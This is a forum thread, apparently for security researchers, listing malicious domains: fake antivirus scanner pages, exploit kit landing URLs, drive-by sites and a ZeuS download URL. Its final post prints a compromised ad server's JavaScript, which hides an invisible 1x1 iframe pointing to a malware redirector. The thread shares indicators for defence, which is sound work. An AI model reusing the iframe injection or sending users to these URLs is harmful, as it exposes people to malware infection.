Malicious Domains - eoin.miller

[eoin.miller]

This thread is for the one off's we find.

Fake Scanner Pages:
www2.routesave19.co.cc
www2.netguard37-pd.co.cc

http://www2.routesave19.co.cc/Images/loading.gif
http://www2.routesave19.co.cc/Layouts/Landings/CentralLandings/7/images/list/main_sprite.jpg

[eoin.miller]

FakeAV infected clients POST'ing to:

wellsellit.com

http://wellsellit.com/borders.php

[eoin.miller]

Exploited clients posting to:

lolopingtroll.org/stats/gate.php?id=84fefcb9

and pulling from:

pulselocums.com.au/media/sound.exe

VirusTotal says its ZeuS:
http://www.virustotal.com/analisis/191d6ac238d6684a385380826bcf34f2698632c2ca9fbc57f4143b0310ea5cc0-1277240374

[eoin.miller]

Fake Scanners:

www1.softscaner35.co.cc
www1.softscaner36.co.cc
www2.newbless6.co.cc
www1.softscaner34.co.cc

All have the following URL accessible:
/Layouts/Landings/CentralLandings/7/images/list/main_sprite.jpg

[eoin.miller]

More fake scanner pages:

http://www1.trytocleanit-45p.co.cc
http://www1.avsolution31pr.co.cc
http://www2.lordofsave9.co.cc
http://www2.lordofsave4.co.cc

[eoin.miller]

Fake Scanners:

www1.glory4.co.cc
www1.glory3.co.cc

[eoin.miller]

Fake Scanner Pages:
www1.oksave9.co.cc

Redirectors to Fake Scanner Pages:
www3.avsolution42.co.cc

[eoin.miller]

FakeAV page:

http://antivirglass.com/purchase?pgid=2&r=57.5

[eoin.miller]

FakeAV:
http://business.one.strangled.net/3/?c=917

Redirects to FakeAV:
http://pivfeels.com/mytds/go.php?s=17

[eoin.miller]

Phoenix Exploit kit:

http://decorum76.info/e9t/

More domains on same IP with exploit kits:

decoy56.info/e9t/
extraditelbds.info/e9t/
erratic335.info/e9t/
magnatevhl8.info/q8s/
bristlejfgj8.info/e9t/
inclination19y.info/x0c/

[eoin.miller]

Drive by's with very low detection rates (1/41):

http://domger.in/d/

VirusTotal Payload Results:
http://www.virustotal.com/analisis/1f75ef5ae8b8c0a8cc13242cd22a75c0e45f443b9a6fe8906287b9c1e6bbb3bb-1279005248

[eoin.miller]

Phoenix drive by kits:

http://whetcb67.info/n21/ - drive by
http://fglq.info/n2l/l.php?i=3 - payload

[eoin.miller]

http://333.gorgrengos.com/b/index.php - driveby

[eoin.miller]

Drive by:

www.hezhexh.co.cc/x33/

Seeing hacked forums redirect to this (via rpzrtru.co.cc/tds/in.cgi?default). Example of hacked forum link that leads to this drive by:

http://www.bicycles.net.au/forums/viewtopic.php?f=9&t=31289&start=25

[SysAdMini]

Drive by:

www.hezhexh.co.cc/x33/

Seeing hacked forums redirect to this (via rpzrtru.co.cc/tds/in.cgi?default). Example of hacked forum link that leads to this drive by:

http://www.bicycles.net.au/forums/viewtopic.php?f=9&t=31289&start=25

The Openx adserver has been compromised.

http://www.bicycles.net.au/adserver/www/delivery/spc.php?zones=1|2|3

Code: [Select]

var OA_output = new Array();
OA_output['1'] = '';

OA_output['2'] = '';

OA_output['3'] = '';
OA_output['3'] += "<"+"a href=\'http://www.bicycles.net.au/adserver/www/delivery/ck.php?oaparams=2__bannerid=20__zoneid=3__cb=82c8d8ab02__oadest=http%3A%2F%2Fwww.cyclechallenge.com%2FThe-Event-1%2FInternational-Riders%2FWin-a-trip-to-Cycle-Challenge%2Fdefault.aspx\' target=\'_blank\'><"+"img src=\'http://www.bicycles.net.au/adserver/www/images/b9e4c50eff89401296bf4b6e66125934.gif\' width=\'120\' height=\'80\' alt=\'Competition: Contact Lake Taupo Cycle Challenge\' title=\'Competition: Contact Lake Taupo Cycle Challenge\' border=\'0\' /><"+"/a><"+"div id=\'beacon_82c8d8ab02\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://www.bicycles.net.au/adserver/www/delivery/lg.php?bannerid=20&amp;campaignid=8&amp;zoneid=3&amp;cb=82c8d8ab02\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div><"+"iframe src=\"http://rpzrtru.co.cc/tds/in.cgi?default\" width=\"1\" height=\"1\" hspace=\"0\" vspace=\"0\" frameborder=\"0\" scrolling=\"no\"><"+"/iframe>\n";